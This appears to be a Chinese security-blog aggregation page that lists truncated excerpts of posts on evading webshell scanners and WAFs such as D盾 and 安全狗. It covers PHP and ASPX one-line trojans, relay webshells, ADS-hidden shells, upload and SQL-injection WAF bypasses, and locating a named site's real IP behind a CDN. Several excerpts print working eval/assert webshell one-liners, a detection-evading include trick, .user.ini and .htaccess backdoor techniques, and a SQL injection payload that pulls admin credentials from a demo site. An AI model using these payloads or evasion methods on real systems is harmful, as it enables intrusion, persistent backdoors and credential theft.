webshell绕过D盾

PHP常见的代码执行函数: eval() assert() preg_replace() create_function() array_map() call_user_func() call_user_func_array() array_filter usort uasort() PHP常见的命令执行函数 system() exec() shell_exec() passthru() pcntl_exec() popen() proc_open() 常见的一句话 <?php eval($_P…

绕过D盾的一句话

一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a="$_POST[g]"; eval($a=$a); ?> 使用D盾_Web查杀 V2.0.9 进行查杀,test1.php可以查杀出来,但是test2.php无法查杀. 那么问题就出现在eval($a=$a)这样的形式,eval()很容易就被查杀出来,但对于这样一种形式就无法查杀. 可以预见基于…

中转Webshell 绕过安全狗（二）

前言在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php.某大佬提示并分享资源后,打算使用python完成中转.部分代码无耻copy. 客户端本地127.0.0.1,安装python2phpshellproxy.py #coding=utf-8 import sys reload(sys) sys.setdefaultencoding('utf-8') import web urls = ( '/','index', '/reverse','reverse', ) #re…

中转Webshell 绕过安全狗（一）

前言听说中国菜刀里有后门.抓包我是没有监测到异常数据包.为了以防万一,且更好使用中国菜刀硬杠安全狗.笔者收集了一下资料.无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshell绕过安全狗.原理菜刀不直接向shell发送数据,而是发送到中转的一个页面上,这个页面对接收的参数全部进行加密,然后再发送给shell,shell接收后用同样的算法进行解密,执行命令. 客户端本地127.0.0.1,安装phpstudytransfer.php <?php function en…

绕过D盾安全狗连接菜刀

0x00 各种奇葩符号现在基本上没啥用了,毕竟几年前的小玩意儿 /;.xxx.asp;.jpg /;.asp/.jpg 像这种各位看官可以忽略了,毕竟某狗和某盾也不是吃干饭的,写出来只是为了纪念一下 ),抓菜刀连接webshell的包然后研究安全狗过滤了哪些关键字中转替换掉那些过滤的关键字 code: <% JmStr=Replace(Request.Form,"$_POST","$_REQUEST") JmStr=Replace(JmStr,"…

绕过D盾的php一句话

d_dun.php <?php $a = '小狗狗你好啊'; $b = '小盾盾你好啊'; foreach ($_REQUEST as $key => $value) { $$key = $value; } 注入页插入: <?php include 'd_dun.php'; $b( $a ); 注入页调用: ?b=assert&a=phpinfo() 转载自: https://www.0dayhack.com/post-862.html…

绕过云盾找真实IP-找真实IP-绕过CDN

目标站:www.chinaparkview.cn 云盾挡着了查一下历史IP 查出3月9号的IP是103.249.104.114 当然查出来的不一定准确修改本地host文件 PS:不要加http 然后保存. win的需要重启.linunx则不用如果说重启以后ping www.chinaparkview.cn的IP还是103.249.104.114的话说明这个IP是正确的.…

Webshell免杀绕过waf

转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形定义函数绕过回调函数回调函数变形特殊字符干扰数组类编码绕过无字符特征马 PHP7.1后webshell何去何从总结 0x03 关于eval 于 assert# 关于eval函数在php给出的官方说明是 eval 是一个语言构造器而不是一个函数,不能被可变函数调用可变函数:通过一个变量,获取其对应的变量值,然后通过给…

【web端权限维持】利用ADS隐藏webshell

0X01 前言未知攻,焉知防,在web端如何做手脚维护自己拿到的权限呢?首先要面临的是webshell查杀,那么通过利用ADS隐藏webshell,不失为一个好办法. 0X02 利用ADS隐藏webshell 关于ADS的介绍,就不再阐述,详见尾部参考资料. PHP 一句话木马:<?php @eval($_POST['chopper']);?>,当然也可以直接制作免杀PHP一句话,毕竟PHP千变万化,从变量,数组,赋值,运算,函数等,各种变种... 制作步骤一:创建ADS隐藏文件在服务器上…

数据库语法整理及WAF绕过方式

关系型数据库关系型数据库:指采用了关系模型来组织数据的数据库. 直白的说就是:关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织当今主流的关系型数据库有:Oracle,Microsoft SQL Server,MySQL,PostgreSQL,DB2, Microsoft Access, SQLite,MariaDB Oracle Oracle特性: select id,contents,time from news where news_id=1 ① union…

D盾 v2.0.6.42 测试记录

0x01 前言之前发了一篇博客<Bypass D盾_IIS防火墙SQL注入防御(多姿势)>,D哥第一时间联系我,对问题进行修复.这段时间与D哥聊了挺多关于D盾这款产品的话题,实在是很佩服,对这样一款产品的细致以及投入.一个人,一款产品,一路走来,弥足艰辛.旧版D盾_防火墙支持win2003,新版D盾_防火墙功能更加强大.前阵子已经拿到最新的内测版本,奈何杂事缠身,一直没有深入的对防御规则进行测试,抽空下载了新发布版本对之前发现的问题进行复测,这里记录一下测试过程. 0x02 SQL注入防御…

如何自己写aspx过狗D盾一句话木马

hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风引用i春秋作家团大佬@非主流对一句话木马的理解: 一句话木马的意思就是,我们制造了一个包含远程代码执行漏洞的web页面. 目录:0×01:我没有aspx代码编写基础,我该从哪入手?0×02:正式开始:从过狗菜刀配置文件里寻找思路0×03:再写一个:分析各种拦截机制,一一绕过0×04:总结 0×01:…

绕过安全狗等一些WAF收集

绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat%28admin_name,0x3a,pwd,0x3a,pwd_hash%29,3+from+qs_admin%23 被拦截了,经过测试拦截的是select,那么把select换成/*!50000SeLect*/呢然后提交 http://demo.7 被拦截了,经过测试拦截的是select,那么把s…

21. Bypass D盾_防火墙（旧版 and 新版）SQL注入防御（多姿势）

D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略,如下图,主要防御GET/POST/COOKIE,文件允许白名单设置. 构造不同的测试环境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到这边的策略,主要的测试思路: a.白名单 b.绕过union select或select from的检测 01 PHP+IIS+MY…

文件上传和WAF的攻与防

Author:JoyChouDate:20180613 1. 前言本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和语言及webserver有关,有问题的地方,欢迎大家指正. 2. 文件上传的特征先来了解下文件上传的特征,抓包看看这段文件上传代码的HTTP请求. upload.php <?php if(isset($_POST['submit_x'])){ $upfile = $_FILES['filename']['name']; $tempf…

ref:web security最新学习资料收集

ref:https://chybeta.github.io/2017/08/19/Web-Security-Learning/ ref:https://github.com/CHYbeta/Web-Security-Learning Web-Security-Learning 学习资料01月29日更新: 新收录文章 mysql SSRF To RCE in MySQL MSSQL MSSQL不使用xp_cmdshell执行命令并获取回显的两种方法 postgresql 渗透中利用postgres…

PHP一句话木马研究

最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法. 现总结如下: 方案一:回调函数回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用. 已被D盾查杀的函数: array_filter() array_walk() array_walk_recursive() array_map() registregister_shutdown_function(); filte…

《2019年上半年Web应用安全报告》发布：90%以上攻击流量来源于扫描器，IP身份不再可信

Web应用安全依然是互联网安全的最大威胁来源之一,除了传统的网页和APP,API和各种小程序也作为新的流量入口快速崛起,更多的流量入口和更易用的调用方式在提高web应用开发效率的同时也带来了更多和更复杂的安全问题.一方面,传统的SQL注入.XSS.CC攻击等传统攻击手段和各种新爆出的web漏洞无时无刻不在考验着web应用安全方案的健壮性.灵活性和安全团队的快速反应能力,另一方面随着大数据技术和流量产业的成熟,互联网中来自自动化程序的流量占比也在迅速增长,爬虫也随之成为一个不容忽视的存在,伴随而来…

buuctf

BUUOJ Misc刷题大作战

你竟然赶我走随便一个txt文件都可以拿 LSB 当然还有别的,根据里面左右左右变化,在0管道有变化,然后把下面的三个0打钩,导出png,一个二维码,扫出来乌镇峰会种图只要会用winhex打开文件就行 rar 四位数密码爆破 qr 扫码文件中的秘密属性,备注 ningen binwalk分析+四位数密码爆破 wireshark 点进去然后就拿到镜子里面的世界 emm 这道题很迷惑 steg给了提示,然后发现管道有问题,就直接分析,接着就看到了答案, 但是从steg上复制的都是有问题的…

绕过网站安全狗拦截，上传Webshell技巧总结（附免杀PHP一句话）

这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Windows Server 2003. Apache/2.4.18.PHP/5.3.29.网站安全狗(Apache版)V3.5.12048 2.用于文件上传的PHP源码: <?php $path = dirname(__FILE__) . '/upload/'; $rand = rand(0,30);…

绕过安全狗狗的WebShell for PHP

最近发现一款过狗shell,分享下... 本地搭建2008SERVER+php5+阿帕奇+网站安全狗+服务器安全狗+防护全开测试可用... 默认密码:p0tt1 使用方法: ,没关系,按p键,输入密码或者webshell.php?password=p0tt1自定义密码在 p0tt1为设定的密码,可以自行修改. 1 <?php define('iphp','p0tt1');define('T','H*');define('A','call');define('B','user');de…

2017年网站安全狗绕过WebShell上传拦截的新姿势

本文来源:https://www.webshell.ren/post-308.html 今天有一位朋友发一个上传点给我我一看是南方cms 有双文件上传漏洞本来可以秒的但是看到了安全狗从图片可以看到http返回信息有安全狗拦截哪怎么办呢我也是搞了以前私藏的姿势后来发现都不行发现行不通只能继续搞之后发现Content-Type: multipart/form-data; boundary= 这个数据包会不会是安全狗通过这个后面的字符串来验证在头字符串后面随便添加字…

[9期]软WAF上传绕过+webshell免杀

安全狗上传绕过思路: 1.扰乱编码 form-data 替换成 ~form-data form-data 改成 f+orm-data form-data 改成 form-d+ata form-data 替换成 " filename="xxx" 改成 filename=xxx; 增减空格对Content-Disposition,Content-Type,name,filename,form-data http参…

Suctf知识记录&&PHP代码审计，无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. 而.htacess构造后门是通过上传.htaccess设置AddType application/x-httpd-php .jpg,将jpg文件作为php解析,getshell 补上脚本: 修改下与easyphp中的可以通用 import requests import base64 url = "…